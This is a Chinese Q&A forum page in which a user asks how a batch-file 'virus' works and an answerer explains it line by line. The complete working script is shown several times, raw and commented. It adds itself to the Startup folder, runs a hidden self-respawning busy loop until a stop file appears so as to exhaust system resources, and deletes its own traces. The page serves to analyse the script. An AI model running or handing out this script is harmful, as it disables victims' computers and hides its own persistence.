bat高手帮我看看这串命令的工作原理
@echooffifnotexist"%HOMEPATH%\..\AllUsers\「开始」菜单\程序\启动\power.bat"copy%~fs0"%HOMEPATH%...
@echo off
if not exist "%HOMEPATH%\..\All Users\「开始」菜单\程序\启动\power.bat" copy %~fs0 "%HOMEPATH%\..\All Users\「开始」菜单\程序\启动\power.bat">nul
echo @echo off>%windir%\power.bat
echo if "%%1"=="" goto :end>>%windir%\power.bat
echo if exist C:\_stop goto :EOF>>%windir%\power.bat
echo start /B %%~fs0 exp>>%windir%\power.bat
echo :s>>%windir%\power.bat
echo if not exist C:\_stop goto s>>%windir%\power.bat
echo exit>>%windir%\power.bat
echo :end>>%windir%\power.bat
echo del %%~fs0>>%windir%\power.bat
echo set ws=CreateObject("WScript.Shell")>%windir%\power.vbs
echo ws.Run "%windir%\power.bat exp",0 >>%windir%\power.vbs
WScript %windir%\power.vbs
del %windir%\power.vbs
set p=%~ps0
if not %p:~-3,2%==启动 del %~fs0
麻烦帮我看下,最好能够逐句解释下。。谢谢各位高手达人啦
echo if "%%1"=="" goto :end>>%windir%\power.bat
echo if exist C:\_stop goto :EOF>>%windir%\power.bat
这两句在这个病毒运行过程中是如何工作的呢?
echo start /B %%~fs0 exp>>%windir%\power.bat
这句里那个%%~fs0是什么东西啊?代表程序本身?能说下这个命令的含义和用法吗?3Q拉 展开
if not exist "%HOMEPATH%\..\All Users\「开始」菜单\程序\启动\power.bat" copy %~fs0 "%HOMEPATH%\..\All Users\「开始」菜单\程序\启动\power.bat">nul
echo @echo off>%windir%\power.bat
echo if "%%1"=="" goto :end>>%windir%\power.bat
echo if exist C:\_stop goto :EOF>>%windir%\power.bat
echo start /B %%~fs0 exp>>%windir%\power.bat
echo :s>>%windir%\power.bat
echo if not exist C:\_stop goto s>>%windir%\power.bat
echo exit>>%windir%\power.bat
echo :end>>%windir%\power.bat
echo del %%~fs0>>%windir%\power.bat
echo set ws=CreateObject("WScript.Shell")>%windir%\power.vbs
echo ws.Run "%windir%\power.bat exp",0 >>%windir%\power.vbs
WScript %windir%\power.vbs
del %windir%\power.vbs
set p=%~ps0
if not %p:~-3,2%==启动 del %~fs0
麻烦帮我看下,最好能够逐句解释下。。谢谢各位高手达人啦
echo if "%%1"=="" goto :end>>%windir%\power.bat
echo if exist C:\_stop goto :EOF>>%windir%\power.bat
这两句在这个病毒运行过程中是如何工作的呢?
echo start /B %%~fs0 exp>>%windir%\power.bat
这句里那个%%~fs0是什么东西啊?代表程序本身?能说下这个命令的含义和用法吗?3Q拉 展开
1个回答
展开全部
这个批处理会在%windir%下生成power.bat和power.vbs,并会令自身随开机启动,启动后,用一个隐藏窗口运行power.bat
::关闭回显
@echo off
::如果开机启动没有power.bat,那么将本批处理copy到开机启动文件夹中,命名为power.bat
if not exist "%HOMEPATH%\..\All Users\「开始」菜单\程序\启动\power.bat" copy %~fs0 "%HOMEPATH%\..\All Users\「开始」菜单\程序\启动\power.bat">nul
::在windows安装文件夹下新建power.bat,power.bat的作用是
echo @echo off>%windir%\power.bat
echo if "%%1"=="" goto :end>>%windir%\power.bat
echo if exist C:\_stop goto :EOF>>%windir%\power.bat
echo start /B %%~fs0 exp>>%windir%\power.bat
echo :s>>%windir%\power.bat
echo if not exist C:\_stop goto s>>%windir%\power.bat
echo exit>>%windir%\power.bat
echo :end>>%windir%\power.bat
echo del %%~fs0>>%windir%\power.bat
::在%windir%下新建power.vbs
echo set ws=CreateObject("WScript.Shell")>%windir%\power.vbs
echo ws.Run "%windir%\power.bat exp",0 >>%windir%\power.vbs
::运行power.vbs
WScript %windir%\power.vbs
::删除power.vbs
del %windir%\power.vbs
::给变量p赋值为本批处理所在文件夹的短文件名格式
set p=%~ps0
::如果变量p的倒数2、3个字符不是启动,则删除本批处理
if not %p:~-3,2%==启动 del %~fs0
下面说一下power.bat和power.vbs
power.bat的作用是检查c:\_stop文件是否存在,如果不存在,那么会进入一个死循环,直到你的系统资源耗尽。看起来不是什么好东东
::关闭回显
@echo off
::如果%1值为空,跳转到标签end
if "%1"=="" goto :end
::如果存在文件c:\_stop,跳转到文件末尾,即退出power.bat
if exist C:\_stop goto :EOF
::再次启动本批处理,并令%1为exp
start /B %~fs0 exp
::标签s
:s
::如果不存在文件c:\_stop,跳转到标签s,
if not exist C:\_stop goto s
::退出
exit
::标签end
:end
::删除本批处理
del %~fs0
power.vbs的作用是以隐藏的方式运行命令"%windir%\power.bat exp"
前两句我在前面都写了,你仔细看看
%~fs0 是指将%0扩充到完整的短名路径,%0是指批处理本身
::关闭回显
@echo off
::如果开机启动没有power.bat,那么将本批处理copy到开机启动文件夹中,命名为power.bat
if not exist "%HOMEPATH%\..\All Users\「开始」菜单\程序\启动\power.bat" copy %~fs0 "%HOMEPATH%\..\All Users\「开始」菜单\程序\启动\power.bat">nul
::在windows安装文件夹下新建power.bat,power.bat的作用是
echo @echo off>%windir%\power.bat
echo if "%%1"=="" goto :end>>%windir%\power.bat
echo if exist C:\_stop goto :EOF>>%windir%\power.bat
echo start /B %%~fs0 exp>>%windir%\power.bat
echo :s>>%windir%\power.bat
echo if not exist C:\_stop goto s>>%windir%\power.bat
echo exit>>%windir%\power.bat
echo :end>>%windir%\power.bat
echo del %%~fs0>>%windir%\power.bat
::在%windir%下新建power.vbs
echo set ws=CreateObject("WScript.Shell")>%windir%\power.vbs
echo ws.Run "%windir%\power.bat exp",0 >>%windir%\power.vbs
::运行power.vbs
WScript %windir%\power.vbs
::删除power.vbs
del %windir%\power.vbs
::给变量p赋值为本批处理所在文件夹的短文件名格式
set p=%~ps0
::如果变量p的倒数2、3个字符不是启动,则删除本批处理
if not %p:~-3,2%==启动 del %~fs0
下面说一下power.bat和power.vbs
power.bat的作用是检查c:\_stop文件是否存在,如果不存在,那么会进入一个死循环,直到你的系统资源耗尽。看起来不是什么好东东
::关闭回显
@echo off
::如果%1值为空,跳转到标签end
if "%1"=="" goto :end
::如果存在文件c:\_stop,跳转到文件末尾,即退出power.bat
if exist C:\_stop goto :EOF
::再次启动本批处理,并令%1为exp
start /B %~fs0 exp
::标签s
:s
::如果不存在文件c:\_stop,跳转到标签s,
if not exist C:\_stop goto s
::退出
exit
::标签end
:end
::删除本批处理
del %~fs0
power.vbs的作用是以隐藏的方式运行命令"%windir%\power.bat exp"
前两句我在前面都写了,你仔细看看
%~fs0 是指将%0扩充到完整的短名路径,%0是指批处理本身
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询